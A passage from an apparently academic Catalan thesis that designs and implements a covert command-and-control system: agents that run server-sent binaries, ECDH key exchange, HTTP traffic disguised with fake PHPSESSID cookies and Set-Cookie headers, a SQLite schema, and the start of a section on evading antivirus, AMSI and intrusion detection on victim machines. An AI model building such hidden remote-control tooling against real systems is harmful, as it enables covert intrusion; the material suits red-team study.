diferents components del sistema. Aquesta modularitzacié és necessaria per tal
d’assegurar la independéncia de cadascuna de les funcionalitats dels
components respecte de la seua implementacio, aixi com el complement dels
requisits de la solucio.

Cadascun dels 3 components principals del sistema, especificats a
I'apartat d’arquitectura del capitol anterior, estan formats per diferents moduls
qgue son els que proporcionen al component totes les funcionalitats que aquest
necessita. Ago és possible gracies a la utilitzacio de la programacié modular,
que separa les diferents funcionalitats que implementa un component software i
les agrupa en diferents moduls. Es podria dir que cada component principal és
nomeés una agrupacié de moduls software que implementen les funcionalitats
d'aquest.

Consola

ll-lustracié 13: Moduls basics de cada component del sistema

Al 'anterior esquema es poden observar els diferents moduls que formen
cada component del sistema. Aquests moduls implementen funcions com, per
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exemple, la interaccié amb la base de dades, les comunicacions o el xifrat i
desxifrat de dades. A més, altres moduls software modelen caracteristiques
propies del component principal, com per exemple accions o configuracions. A
continuacioé es detalla la funcionalitat de cadascun dels moduls representats al
diagrama.

e Modul comunicador: ofereix les funcionalitats necessaries per a
establir les comunicacions entre els diferents components del
sistema. Aquest esta present als components Agent i Consola.
Encara que aquests es comuniquen amb el component CnC,
aquest no disposa de modul comunicador com a tal, sin6é que, per
les seues caracteristiques i funcionalitats, s’utilitza el modul
servidor.

e Modul servidor: és el modul utilitzat pel component CnC per a
gestionar les comunicacions amb els moduls Agent i Consola. Aixi
doncs, existeixen dues implementacions per al modul servidor, una
per a cada tipus de component que ha d’atendre.

e Modul criptografic: ofereix les funcionalitats requerides per a xifrar
i desxifrar informacid, a més de generar claus publiques i privades.
Aquest esta present als components Agent i CnC ja que son els
que, a més d'utilitzar HTTPS, xifren la informacio transmesa.

¢ Maodul executor: ofereix la funcionalitat necessaria per a executar
accions. Només el component Agent necessita aquestes
funcionalitats, aixi que només aquest component incorpora el
modul.

e Modul base de dades: ofereix la funcionalitat requerida per a
interactuar i gestionar la base de dades. L’unic component que
necessita la base de dades és CnC, aixi que només aquest
incorpora el modul.

4.2 Establiment de la clau simétrica de xifrat

Per a la derivacio de la clau simétrica entre components Agent i CnC que
sera utilitzada per a transmetre's informacié de forma segura entre ells es
planteja la utilitzacié del protocol d'intercanvi de claus de Diffie-Hellman.
Concretament, es proposa la utilitzacié de la versié d'aquest protocol basada en
criptografia de corba el-liptica (ECDH). De forma molt general, aquest
intercanvi de claus es duu a terme de la seglent manera:

1. Tant el component Agent com el component CnC generen un parell de
claus (privada i publica) cadascun.

2. El component Agent, una vegada arrancat, envia al component CnC la
seua clau publica i el seu identificador.

3. El component CnC rep la informacié que el component Agent li ha
transmeés i combina la clau publica d'aquest amb la seua clau privada,
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obtenint un valor que guarda a la seua base de dades associat a
l'identificador del component Agent. Una vegada fet a¢o, el component
CnC envia al component Agent la seua clau publica.

4. Una vegada el component Agent ha rebut la clau publica del
component CnC la combina amb la seua propia clau privada, obtenint
com a resultat el mateix valor que el component CnC obté al tercer
pas. Només queda guardar aquest valor i, a partir d'aquest moment,
utilitzar el valor per a xifrar i desxifrar la informacié que comparteixen
ambdds components.

A continuacio es presenta un esquema basic que representa aquest
protocol d’intercanvi de claus publiques per tal de derivar una clau simeétrica:

Agent CnC

Generacio del parell i Generacio del parell
clau pablica-privada ! clau pablica-privada

POST (id_agent, clau publica Agent)

200 OK (clau publica CnC) :

B SRt

Obtenci6 de la clau simétrica i Obtenci6 de la clau simétrica
combinant la clau privada amb | \ combinant la clau privada amb
la clau publica del CnC H ' la clau pablica de I'Agent

i Emmagatzematge a la base de
dades de la clau simétrica

o o ) ! associada a I'id_agent
Comunicaci6 xifrada amb la clau simétrica obtinguda

R SRR

ll-lustracié 14: Disseny del protocol d'establiment de la clau de xifrat

4.3 Interaccio entre components

En aquest apartat es descriu com interactuen entre ells els diferents
components del sistema. Tal i com s'ha pogut veure a lI'esquema que mostra
I'arquitectura del sistema al capitol anterior, existeixen 2 tipus de
comunicacions: les que s'estableixen entre els components Consolaiel CnCii
les que s'estableixen entre els components Agenti el CnC.

4.3.1 Interaccio Agent-CnC

La interaccié entre Agents i el CnC s'inicia quan s'executa el component
Agent. A continuacié es mostra el diagrama que representa aquesta interaccid i
s’exposen els diferents passos que formen part d'aquesta.
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1. El component Agent i el CnC deriven la clau simétrica que s'utilitzara
per als processos criptografics tal i com s'ha explicat a 'esquema de
I'apartat anterior.

2. Una vegada obtinguda aquesta clau simeétrica, el component Agent
sol-licita al CnC una configuracié. Quan rep la resposta del CnC,
I'Agent aplica la configuracié.

3. Amb I'Agent configurat, aquest comenga un bucle de peticions al
servidor de comandament i control (CnC) on sol-licita accions a dur a
terme. El servidor transmet aquestes accions a I'Agent, el qual les
executa, espera un temps (determinat a la configuracid) i torna a
repetir aquest terces pas.

Agent CnC

Establiment de la clau simétrica de xifrat

4
I SN

A partir d'aquest punt, informacié xifrada

GET (peticié de configuraci6)

i SN

Busca a la base de dades si
I'Agent ja té configuracié establida i

X ) ) si no genera una per defecte
200 OK (configuraci6 de I'Agent xifrada)

Aplica la configuracié
proporcionada pel Cnc |
A partir d'aquest punt es repeteix en bucle el diagrama |

GET (peticio d'accid)

-."....-.-

! Busca a la base de dades si hi ha
1 alguna accié pendent d'executar. Si la

hi ha respon amb un 200 OK, siné
amb un 202 Accepted. A més, busca

també si s'han realitzat canvis a la

configuracié. Si n'hi ha, la nova
1 configuracié s'envia a la capgalera
200 OK (acci6 i configuracié xifrades) o ! Set-Cookie
202 Accepted (configuracio xifrada) H

e e

Aplica la nova
configuracio, sila hiha, i |

executa I'accid, sila hi ha POST (resultat de I'execucié xifrat)

: Guarda el resultat a la base de
1 dades i envia, a la capcalera Set-
Cookie, la nova configuracié si

ha aquesta ha sigut modificada
202 Accepted (configuracio xifrada) 9 9

ll-lustracié 15: Diagrama d'interaccié Agent-CnC

4.3.2 Interaccid Consola-CnC

La interaccioé entre un component Consola i el CnC s'inicia quan s'executa
el component Consola. Aquest component, que és utilitzat per l'usuari per tal
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d'indicar al CnC quines accions ha de dur a terme un determinat Agent,
interactua amb el CnC de la seguent forma.

1. El component Consola fa una peticio d'autenticacié al servidor CnC i
aquest, si l'autenticacio és valida, li proporciona un token
d'autenticacio.

2. Una vegada autenticat, quan un usuari introdueix una accio a
executar, el component Consola, utilitzant el token d'autenticacioé del
pas anterior, notifica al CnC qué és el que ha d'executar un determinat
Agent. Aquest pas es repeteix tantes vegades com accions introdueixi
l'usuari.

3. El component Consola consulta cada cert temps al CnC si ja disposa
del resultat de I'execucio de I'accio indicada. La resposta del servidor
de comandament i control és el resultat de I'execucio de l'accid. Aquest
pas es realitza cada vegada que s’executa el pas 2.

Consola CnC

Usuari introdueix les | .
credencials d'accés ! POST (id_agent, clau publica Agent) i

Comprova si la combinacié
' usuari-contrassenya és
| correcta i si ho és genera un
token d'autenticacio que
guarda a la base de dades
_ N associat a aquest usuari
202 Accepted (Set-Cookie: token d'autenticacié)

A

! A partir d'aquest punt, per a cada accié que envia l'usuari

.......................................................

L'usuari introdueix una accié !

I S

a realitzar per algun Agent POST (acci6, token d'autenticacio)
f Si el token d'autenticacio és
H correcte, guarda a la base de
L 202 Accepted i dades I'accié pendent d'execucio

Bucle de peticions fins a obtindre resposta 200 OK

.......................................................

GET (petici6 de resultat)

i Consulta a la base de dades si hi
ha resultat per a l'accié
sol-licitada. Si n'hi ha, 200 OK,

i sin6, 202 Accepted
200 OK (resultat de I'accié executada) o 202 Accepted | : P

SR e e REEE

Si la resposta és 202 Accepted | [
segueix "preguntant” si hi ha |
resultat. Si hi ha resultat, 200

OK, el mostra per pantalla

ll-lustracié 16: Diagrama d'interaccié Consola-CnC
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4.4 Disseny de la base de dades

Sobre el disseny de la base de dades, en aquest apartat es comenten els
diferents camps i taules necessaris per a representar tota la informacio que
gestiona el sistema. No s’entra en detall de per a qué s'utilitza cada camp,
nomeés es proposa l'estructura general de la base de dades i es comenta molt
breument el significat de cada camp. Aixi doncs, les taules i camps necessaris
per a la representacio de la informacié gestionada pel sistema son:

e Taula agent: modela la informacié que es guarda dels components
Agent

o Camp id: identificador unic d’'un component Agent
o Camp alias: (opcional) nom assignat a ’'Agent
o Camp shared_key: clau simeétrica derivada amb I’Agent

o Camp active: indica si 'Agent segueix actiu o no. Es
considera que no esta actiu si entre I'tltima peticid i el
moment actual han passat més de 30 minuts

o Camp last_req: timestamp de l'ultima peticié realitzada per
I'Agent

e Taula user: modela la informacié que es guarda dels usuaris del
sistema

o Camp id: identificador unic de l'usuari
o Camp username: nom d’usuari (ha de ser unic)
o Camp password: contrasenya de l'usuari

o Camp active: indica si 'usuari ha fet logout o continua actiu
al sistema

o Camp last_login: timestamp de l'tltim login de l'usuari

e Taula session: associacio entre usuari i agent controlat, a més del
token d’autenticacio per a I'us del sistema

o Camp id: identificador unic de la sessio
o Camp agent: identificador de I’Agent controlat
o Camp user: identificador de I'usuari autenticat al sistema

o Camp token: token d’autenticacio de 'usuari
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Taula action_history: representacio de la informacié sobre les
diferents accions executades i pendents d’executar o de llegir el
resultat.

©)

Camp session: identificador de la sessio a la que s’associa
I'accio

Camp action: acci6 a executar
Camp result: resultat de I'accio executada

Camp completed: indica si I'accié s’ha executat i es pot
llegir ja el resultat d’aquesta

Taula configuration: representacio de la informacié associada a la
configuracié dels components Agent

©)

©)

Camp agent: identificador de I'Agent

Camp req_delay: temps d’espera entre cada peticié d’accio
que realitza I'Agent associat

Camp user_agent: User-Agent utilitzat per 'Agent associat

Camp modified: indica si la configuracié ha estat modificada
des de I'tlitima vegada que I’Agent la va aplicar
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5 Implementacio

Aquest capitol se centra en descriure la implementacio dels diferents
components que formen part del sistema, aixi com els detalls més técnics que
expliquen com es realitza la interaccio entre aquests. Els components del
sistema, com ja s’ha comentat en capitols anteriors, estan formats per diversos
moduls degut a I'aplicacié del desenvolupament modular o basat en
components. Sobre les comunicacions, s'ha modelat una interaccié molt
semblant a la navegacio web, els detalls de la qual es comenten en aquest
capitol.

5.1 Implementacié dels components

Tal i com ja s’ha comentat, aquest apartat descriu la implementaci6 de
cadascun dels components del sistema. A més d’'una descripcio detallada de
cadascun dels moduls que formen part d’aquests, es presenta també la
representacio en forma de diagrama de classes de cada component. D’aquesta
forma s’aconsegueix donar una visié completa de la implementacié de cada
component i dels moduls de cadascun d’aquests.

5.1.1 Agent

A continuacio es mostra el diagrama de classes que representa els
diferents moduls que formen part del component Agent, aixi com les relacions
que s’estableixen entre aquests. Més avall es presenta la descripcié detallada
de cadascun d’aquests moduls i les funcionalitats que implementen.

Agent Configuration AgentAction
+ Id: string |+ UserAgent: string + Actionld: string
+ Cnc: string “|+ RegDelay: int + ModuleType: string
+ Binary: byte[]
+ Run(): void + Arguments: string|]
l v v
Communicator CryptoTool Executor
+ DefaultUserAgent: string - Ecdh: ECDiffieHellmanCng
+ SharedKey: byte]]
+ CncHello(byte[]): byte]] + PublicKey: byte]] + Execute(AgentAction): string
+ SendActionResult{string, byte[], byte[]): void
+ GetAction(): byte[], byte[], byte[], byte[] + DeriveSharedKey(bytel[]): void
+ GetConfig(): byte[], byte[] + Encrypt(string): byte[], bytel]
+ Decrypt{oyte[], byte[]): string

llI-lustracié 17: Diagrama de classes del component Agent

e Agent: Modul principal del component. Aquest modela el que
considerariem el component Agent de la soluci6. Basicament
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implementa el métode Run que arranca tota la funcionalitat de
I'Agent. Dintre d'aquest métode es fa Us de tots els altres moduls i
basicament s'autentica amb el servidor CnC, obté la configuracié
necessaria i comencga un bucle de peticions al servidor CnC on
demana accions per a executar.

e Communicator: Aquest modul s'encarrega de la comunicacié amb
el servidor de Comandament i Control. El métode CncHello s'utilitza
per a l'autenticacié amb el CnC, GetConfig obté la configuracid per
a I'Agent, GetAction obté les accions que I'Agent ha d'executar i
SendActionResult s'utilitza per a enviar al servidor CnC el resultat
de les diferents accions executades per I'Agent.

e CryptoTool: Aquest modul s'encarrega de la criptografia utilitzada
a I'Agent. El métode DeriveSharedKey s'utilitza per a obtenir la clau
compartida amb el servidor de Comandament i Control a partir de
la clau publica d'aquest i Encrypt i Decrypt, com és previsible,
s'utilitzen per a xifrar i desxifrar, respectivament, utilitzant la clau
simétrica derivada amb el CnC.

e Executor: Es el mddul encarregat d'executar les diferents accions
que encarrega el servidor CnC. Només implementa el méetode
Execute al qual se li proporciona un objecte AgentAction i retorna el
resultat de I'execucio d'aquest.

e AgentAction: Aquest modul modela les accions executables per
un Agent. Inclou el binari, els arguments necessaris per a
I'execucio i altres dades com un identificador de I'accid i el tipus
d'aquesta.

e Configuration: Aquest modul modela els aspectes més rellevants
de la configuracié d'un Agent. En aquest cas s'utilitzen només un
UserAgent, per a les peticions web, i el temps d'espera entre cada
peticié que realitza I'Agent.

5.1.2 CnC

A continuacio es mostra el diagrama de classes que representa els
diferents moduls que formen part del component CnC, aixi com les relacions
que s’estableixen entre aquests. Més avall es presenta la descripcié detallada
de cadascun d’aquests moduls i les funcionalitats que implementen.
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Cnc <<interface>>
Server

24 IsRunning: bool

+ Run(): void
+ CncHandler(HttpListenerRequest): CncResponse + Run(): void
+ ApiHandler(HttpListenerRequest): ApiResponse

- I

|

|

|

Database CryptoTool |
i i implements

- DbFilename: string - Ecdh: ECDiffieHellmanCng i
- Db: SQLiteConnection + PublicKey: byte[] |

1
- InitDb(): void + DeriveSharedKey(byte[]): void {mmmmmmsmm--e--- b,
- ClearDb(): void + Encrypt(string): byte[], byte[] ‘
+ AuthenticateAgent(string, byte[]): void + Decrypt(byte[], byte[]): string
+ ExistsAgent(string): bool

+ IsAuthenticatedAgent(string): bool

+ GetConfigurationForAgent(string): Configuration
+ GetKeyForAgent(string): byte[] CncServer
+ SaveAgentConfiguration(string, Configuration): void
+ IsConfigurationModifiedForAgent(string): bool - Listener: HttpListener

+ GetPendingActionForAgent(string, string): string - Responder: Func<HttpListenerRequest, CncResponse>
+ InsertActionResult(string, string, string): void
+ AuthenticateUser(string, string): void

+ ExistsUser(string): bool

+ IsAuthenticatedUser(string, string): bool

+ InsertCommand(string): void

+ IsActionCompleted(string): bool ApiServer

+ GetActionResult(string): string - Listener: HttpListener

- Responder: Func<HttpListenerRequest, ApiResponse>

Configuration AgentAction CncResponse ApiResponse
+ UserAgent: string + Actionld: string + Configlv: byte[] + Error: bool
+ RegDelay: int + ModuleType: string + EncryptedConfig: byte[] + Data: string
+ Binary: byte[] + Actionlv: byte[]
+ Arguments: string[] + EncryptedAction: byte[]

II-lustracié 18: Diagrama de classes del component CnC

e Cnc: Aquest és el modul principal del component i representa el
que considerem el servidor de Comandament i Control de la
solucidé. El seu métode Run arranca totes les funcionalitats
d'aquest. Als métodes CncHandler i ApiHandler s'implementen les
funcionalitats necessaries per a atendre les peticions dels Agents i
de les Consoles, respectivament.

o Database: Es el modul encarregat d'interactuar amb la base de
dades. En aquest cas s'utilitza una base de dades SQLite, degut a
la facil integracio d'aquesta amb C#, el llenguatge emprat per a
programar la solucié. Basicament, cadascun dels métodes
implementats en aquest modul donen solucié a la necessitat
d'obtenir o guardar determinada informacié a la base de dades, fent
possible al Cnc gestionar la informacié necessaria per al
funcionament del servidor de Comandament i Control.

e CryptoTool: A l'igual que amb el modul CryptoTool de I'Agent,

aquest s'encarrega d'implementar la criptografia necessaria per al
funcionament del servidor de Comandament i Control.

28



e Server: Aquesta interficie declara les funcionalitats i propietats que
han d'implementar els diferents servidors web utilitzats al servidor
CnC, que son els CncServer i ApiServer.

e CncServer: Aquest servidor implementa la comunicacié que
s'estableix amb els Agents. Aquest utilitza el métode CncHandler
implementat al modul principal Cnc per a generar les respostes que
s'envien als Agents.

e ApiServer: Aquest servidor implementa la comunicacié que
s'estableix amb les Consoles. Aquest utilitza el métode ApiHandler
implementat al modul principal Cnc per a generar les respostes que
s'envien al les Consoles.

e Configuration: A l'igual que amb el modul Configuration de I'Agent,
aquest modela la configuraci6 aplicable als components Agent.

e AgentAction: A l'igual que amb el modul AgentAction de I'Agent,
aquest modela les accions que poden executar els components
Agent.

e CncResponse: Aquest modul representa les respostes que
s'envien als Agent. Incorpora la informacié de la configuracio i
accions xifrades i els seus respectius vectors d'inicialitzacio,
utilitzats per a desxifrar la informacio.

o ApiResponse: Aquest modul modela les respostes que s'envien
als components Consola. Incorpora informacio sobre si s'han
produit errors i la informacio que retorna el servidor de
Comandament i Control.

5.1.3 Consola

La implementacié del component Consola queda fora dels objectius de
I'actual projecte. Tal i com es comenta a I'apartat d’objectius, en aquest
projecte si que es dissenya el sistema pensat per a la utilitzacié d’aquest tercer
component, perd no es desenvolupa. No obstant, en aquest apartat es
comenten els aspectes més representatius a tindre en compte per a la
implementacié d’aquest component.

El component Consola és el que presenta la funcionalitat més senzilla
d'implementar. Aquest pot ser implementat en qualsevol llenguatge d’scripting,
com per exemple Python o Bash. Independentment de la seua implementacid,
I'dnic aspecte que s’ha de tenir en compte és que la informacié que es transmet
al CnC ha d’estar en el format correcte. Es a dir, simplificant molt, només s’ha
de tenir en compte que aquest component i el CnC s’han d’entendre.

La implementacié d’aquest component deuria incloure un login, per tal de
realitzar I'autenticacié de 'usuari. Una vegada autenticat 'usuari, aquest ha de
poder seleccionar un Agent per a controlar i enviar les accions o configuracions
necessaries. La implementacioé d’aquest component ofereix tantes possibilitats
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que es possible, fins i tot, implementar-lo amb una interficie grafica o una
interficie web per a facilitar el seu Us a usuaris no familiaritzats amb les
interficies de consola.

5.2 Implementacié de les comunicacions

En aquest apartat es presenten els detalls més técnics de la
implementacié de la comunicacié entre els diferents components del sistema.
En primer lloc es parla de la interaccié entre els components Agenti CnC i
posteriorment Consola i CnC. A continuaci6 es presenten els detalls de la
implementacié per a cadascuna d'aquestes interaccions, estructurant-les tenint
en compte la finalitat de la comunicacié i marcant entre claus {} els diferents
valors que s'utilitzen.

5.2.1 Comunicacié entre Agenti CnC

La interaccié que s'estableix entre 'Agent i el servidor de Comandament i
Control es pot dividir en 5 tipus d’intercanvi d’'informacié. Aquests intercanvis
d’'informacio sén: establiment de la clau de xifrat, configuracié de I’Agent,
execucio d’accions i enviament dels resultats d’aquestes execucions. A
continuacié es mostra el detall técnic dels missatges que s’intercanvien aquests
dos components.

5.2.1.1 Establiment de la clau simeétrica de xifrat

e Estructura de la peticié:

POST /hello HTTP/1.1
User-Agent: {User-Agent per defecte}
Cookie: PHPSESSID={ID de I'Agent};

{Clau publica de I'Agent codificada en Base64}

e Estructura de la resposta:

HTTP/1.1 200 OK
{Clau publica del CnC codificada en Base64}

5.2.1.2 Obtencio de la configuracié de I’Agent

e Estructura de la peticié:

GET /conf HTTP/1.1
User-Agent: {User-Agent per defecte}
Cookie: PHPSESSID={ID de I'Agent};
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e Estructura de la resposta:

HTTP/1.1 200 OK
Set-Cookie: {Vector d'inicialitzacié codificat en Base64};

{Configuracio serialitzada, xifrada amb la clau simétrica
derivada amb I'Agent i codificada en Base64}

5.2.1.3 Obtencid d’accions per a executar

e Estructura de la peticié:

GET /{cadena de text aleatoria que serveix com a
identificador d I'accié} HTTP/1.1

User-Agent: {User-Agent establit a la configuracio de I'Agent}
Cookie: PHPSESSID={ID de I'Agent}

e Estructura de la resposta:

o Si hi ha accié disponible per a executar, codi de resposta
200 OK, sin6 202 Accepted

o Sila configuracié ha estat modificada i ha d'aplicar-se de
nou a I'Agent, capgalera Authentication amb valors iv per al
vector d'inicialitzacié per a desxifrar la configuracié codificat
en Base64 i c per a la configuracié serialitzada, xifrada amb
la clau simétrica per a I'Agent i codificada en Base64

o Si hi ha accié disponible per a executar, capcalera Set-
Cookie inclou el vector d'inicialitzacio per a desxifrar I'accié
codificat en Base64 i el body de la resposta inclou I'accio
serialitzada, xifrada amb la clau simeétrica per a I'Agent i
codificada en Base64

HTTP/1.1 {200 OK o 202 Accepted}

Authentication: iv={Vector d'inicialitzacié per a desxifrar la
configuracié codificat en Base64}; c={Configuracié
serialitzada, xifrada amb la clau simeétrica i codificada en
Base64};

Set-Cookie: {Vector d'inicialitzacié per a desxifrar I'accié
codificat en Base64}

{Accio per a executar serialitzada, xifrada amb la clau
simétrica i codificada en Base64}
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5.2.1.4 Enviament del resultat de I’execucié d’una accié

e Estructura de la peticié:

POST /result/{ID de I'acci6 que s'ha executat} HTTP/1.1
User-Agent: {User-Agent establit a la configuracio de I'Agent}
Cookie: PHPSESSID={ID de I'Agent}

Authentication: {Vector d'inicialitzacié per a desxifrar el
resultat de I'execucioé codificat en Base64}

{Resultat de I'execucié xifrat amb la clau simétrica de I'Agent i
codificat en Base64}

e Estructura de la resposta:

HTTP/1.1 {200 OK o 202 Accepted}

Authentication: iv={Vector d'inicialitzacio per a desxifrar la
configuracio codificat en Base64}; c={Configuracid
serialitzada, xifrada amb la clau simétrica i codificada en
Base64};

5.2.2 Comunicacio entre Consola i CnC

La interaccid que s'estableix entre la Consola i el servidor de
Comandament i Control és bastant més senzilla que la interacciéo Agent-CnC.
En aquest cas només es realitza un tipus d'intercanvi d'informacio, que es
mostra a continuacio.

5.2.2.1 Establiment de la clau simeétrica de xifrat

e Estructura de la peticié:

POST / HTTP/1.1

{

authentication: {Token d'autenticacié de l'usuari},
data: {Informaci6 que s'envia al CnC per a realitzar diferents
accions}

}

e Estructura de la resposta:

HTTP/1.1 200 OK
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{

error: {1 si s'ha produit algun error o 0 si no},
data: {Informacio sobre el resultat obtingut}

}

5.3 Implementacié de la base de dades

En aquest apartat es presenten els detalls de la implementacio de la base
de dades utilitzada pel servidor de comandament i control. En primer lloc es
presenta la tecnologia utilitzada per a la implementacié d’aquesta, es parla
sobre les seues caracteristiques i es justifica la seua eleccio. En segon lloc es
mostra la implementacio interna de la base de dades dissenyada a I'anterior
capitol, on s’especifiquen detalls com el tipus de dades, claus primaries, etc.

5.3.1 SQLite + DB Browser for SQLite

SQLite és una base de dades relacional continguda en una biblioteca
programada en C. Aquesta presenta una clara diferéncia respecte als sistemes
de gestié de bases de dades tradicionals, com per exemple Oracle o MySQL i
€s que aquests estan basats en una arquitectura client-servidor mentre que
SQLite s’integra directament en les aplicacions que la implementen.

%the

ll-lustracié 19: Logotip d'SQLite

Les bases de dades SQLite poden arribar a tenir fins a 2 terabytes de
tamany. A més, aquestes permeten treballar amb camps de tipus BLOB, que
representen dades extenses en format binari. Tota la informaci6 gestionada per
aquestes bases de dades s’emmagatzema en un unic fitxer.

SQLite treballa amb el llenguatge per excel-1éncia de les bases de dades
relacionals: SQL. Aquesta implementa moltes de les funcionalitats oferides per
aquest llenguatge, com per exemple les transaccions atdomiques, la
consisténcia, I'aillament, els triggers o les consultes complexes.

En aquest projecte s’ha decidit implementar la base de dades utilitzant
SQLite degut a la seua facil integracié amb el llenguatge de programacié
emprat. A més, la informaci6 gestionada pel servidor CnC no és tan extensa
com per a haver d’utilitzar altres bases de dades que busquen la optimitzacio
de temps o recursos. Per tot aco, i tenint en compte que SQLite implementa
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totes les funcions requerides a la implementacié del CnC s’ha escollit aquesta
base de dades per a la implementacié de la solucio.

DB Browser for SQLite és una eina de codi lliure que permet carregar els
arxius de base de dades d’SQLite i consultar I'estructura, contingut, etc. de la
propia base de dades. A més, ofereix una forma molt visual, en forma de
taules, de representar la informacié de la base de dades i permet, a més,
modificar aquesta informacié i aplicar els canvis.

0 0 0O | ] SQLite Database Browser - /Users/jc/tmp/example.db

o New Database % Open Database : Write Changes Revert Changes

| Database Structure Edit Pragmas Execute SQL |

Table: | | total_members 3| = New Record | Delete Record

list month members

1 gluster-board 2013-09-05 | 99999
2 gluster-users  2013-09-05 | 99999

< 1-20f12 > | Go to: 1

Q06 sQL Log
Show SQL submitted by | Application 3 Clear

PRAGMA foreign keys = "1";

PRAGMA en
SELECT ty me, sgl, tbl name FROM sglite | H
SELECT COUNT(*) FROM (SELECT rowid,* FROM ers’ ORDER BY 'rowid ASC);
SELECT rowid,* FROM "total members’ ORDER BY ° ASC LIMIT 0, =0000;
UTF-8

ll-lustracié 20: Interficie de DB Browser for SQL.ite

Aquesta aplicacié s’ha utilitzat, tant en el procés de desenvolupament com
en les proves de funcionament, per tal de verificar la correcta estructura de la
base de dades, aixi com per a poder accedir i manipular les dades contingudes
en aquesta. Per exemple, durant les proves d’execucio de les ordres per part
dels Agents, s’ha utilitzat aquesta eina per tal d’'inserir a la base de dades la
informacio necessaria per tal de que s’envii I'ordre a executar a I'’Agent
corresponent. A més, una vegada executada I'ordre, aquesta eina s’ha utilitzat
també per a verificar la correcta recepci6 i emmagatzematge a la base de
dades del resultat de I'execucio.
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5.3.2 Estructura de la base de dades

En aquest subapartat es presenta I'estructura implementada a la base de
dades. En primer lloc es mostra un esquema de les taules de la base de dades,
aixi com els diferents camps que contenen i el tipus d’aquests. Una vegada
presentat 'esquema, es detallen les diferents senténcies SQL utilitzades per a
generar i inicialitzar la base de dades.

L’estructura detallada de la base de dades és la seglent:

e Taula agent

©)

©)

©)

©)

©)

Camp id: tipus text, clau primaria

Camp alias: tipus text

Camp shared_key: tipus text, no pot ser nul

Camp active: tipus integer, no pot ser nul, ha de ser 0 0 1

Camp last_req: tipus text, no pot ser nul

e Taula user

©)

©)

Camp id: tipus integer, clau primaria

Camp username: tipus text, no pot ser nul

Camp password: tipus text, no pot ser nul

Camp active: tipus integer, no pot ser nul, ha de ser 0 0 1

Camp last_login: tipus text

e Taula session

©)

©)

©)

Camp agent: tipus text, clau primaria, clau secundaria
Camp user: tipus text, clau primaria, clau secundaria

Camp token: tipus text, clau primaria

e Taula command_history

©)

©)

Camp agent: tipus text, clau primaria, clau secundaria
Camp action_id: tipus text

Camp action: tipus text, no pot ser nul

Camp completed: tipus integer, no pot ser nul, 0 0 1

Camp result: tipus text
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e Taula configuration
o Camp agent: tipus text, clau primaria, clau secundaria
o Camp user_agent: tipus text
o Camp req_delay: tipus integer, no pot ser nul
o Camp modified: tipus integer, no pot ser nul, ha de ser0 o 1

A més d’aquestes taules, i amb la finalitat de mantenir actualitzat el camp
active de la taula agent, que indica si un Agent segueix actiu o no, s’han definit
dos triggers que s’executen quan es realitza una insercié o actualitzacié d’algun
registre de la taula agent. Aixi doncs, el resum d’aquests triggers és el seguent:

e Actualitzacié o insercié d'un registre a la taula agent

o S’executa després de realitzar-se I'accio que el
desencadena

o Comprova si la diferéncia entre el valor del camp /ast _req i
I'hora actual és major de 30 mins.

o Sies compleix la condicid, estableix el valor del camp active
a0

A continuacio es mostren les diferents senténcies SQL executades per tal
de crear i inicialitzar la base de dades del servidor de comandament i control:

CREATE TABLE IF NOT EXISTS agent (id TEXT PRIMARY KEY, alias
TEXT, shared_key TEXT NOT NULL, active INTEGER NOT NULL CHECK
(active == 0 OR active == 1), last_req TEXT NOT NULL);

CREATE TABLE IF NOT EXISTS user (id INT PRIMARY KEY, username
TEXT NOT NULL, password TEXT NOT NULL, active INTEGER NOT NULL
CHECK (active == 0 OR active == 1), last_login TEXT);

CREATE TABLE IF NOT EXISTS session (agent TEXT, user INT, token
TEXT, PRIMARY KEY (agent, user, token), FOREIGN KEY (agent)
REFERENCES agent(id), FOREIGN KEY (user) REFERENCES user(id));

CREATE TABLE IF NOT EXISTS command_history (agent TEXT PRIMARY
KEY, action_id TEXT, action TEXT NOT NULL, completed INTEGER NOT
NULL CHECK (completed == 0 OR completed == 1), result TEXT, FOREIGN
KEY (agent) REFERENCES agent(id));

CREATE TABLE IF NOT EXISTS configuration (agent TEXT PRIMARY KEY,
user_agent TEXT, req_delay INT NOT NULL, modified INTEGER NOT NULL
CHECK (active == 0 OR active == 1), FOREIGN KEY (agent) REFERENCES
agent(id));
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CREATE TRIGGER active_agent_update AFTER INSERT ON agent BEGIN
UPDATE agent SET active=(last_req >= DATETIME('now', '-30 minutes'));
END;

CREATE TRIGGER active_agent_insert AFTER UPDATE ON agent BEGIN
UPDATE agent SET active=(last_req >= DATETIME('now', '-30 minutes'));
END;

5.4 Evasio d’AV i solucions de seguretat

En aquest apartat es parla de les diferents solucions de seguretat que
poden estar implantades a la maquina o a la xarxa victimes. Una vegada
presentada la solucié de seguretat, es parla de les diferents técniques
implementades per tal d’evadir la deteccié i catalogacio de '’Agent com a una
amenaca per part d’aquestes solucions de seguretat.

En primer lloc es parla de la integracio de les aplicacions de Windows
amb I'antivirus o el servei antimalware. En segon lloc es parla dels sistemes de
deteccio d’intrusions en host (maquines d’usuari o servidors). Per ultim, es
tracten els sistemes de deteccié d’intrusions en xarxa. A més de comentar
cadascun d’aquests, es presenten les mesures implementades per tal d’evadir
aquestes tecnologies.

5.4.1 AMSI

El concepte AMSI fa referéncia a I'’Antimalware Scan Interface
desenvolupada per Microsoft per al seu sistema operatiu Windows [11]. AMSI
€s una interficie que permet la integracio entre les diferents aplicacions i
serveis del sistema i el programari antimalware (o antivirus) instal-lat al sistema.

Aquesta interficie permet desacoblar la implementacio de les diferents
aplicacions per al sistema operatiu Windows de la implementacié de cadascuna
de les solucions antimalware existents. Aixi doncs, qualsevol aplicacio que
implementi aquesta interficie podra utilitzar determinades funcions del
programari antimalware instal-lat a I'equip, independentment de quin sigui
aquest.

AMSI ofereix diferents funcionalitats per a les aplicacions que la
implementen. Destaquen la possibilitat d’analitzar arxius, buffers de memoria,
streams, IPs i URLs, etc. A més, aquesta treballa utilitzant sessions, la qual
cosa li permet correlar diferents events i obtenir conclusions com a resultat de
I'analisi d’'un conjunt d’analisis, i no només d’un simple analisi d’un fitxer, URL,
etc.

AMSI esta implementada en diferents aplicacions natives de Windows.
Aquestes sén 'UAC (User Access Control), PowerShell, Windows Script Host,
JavaScript, VBScript i les macros VBA per a Office. Aquestes aplicacions, i
qualsevol altra que implemente aquesta interficie, poden invocar les funcions
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AmsiScanBuffer o AmsiScanString, entre altres, per tal de realitzar una analisi
d’'un buffer de memoria o d’un string emprant el programari antimalware del
sistema i determinar si es tracta d’'una amenaga de seguretat.

Aixi doncs, és necessari que el component Agent no sigui detectat per les
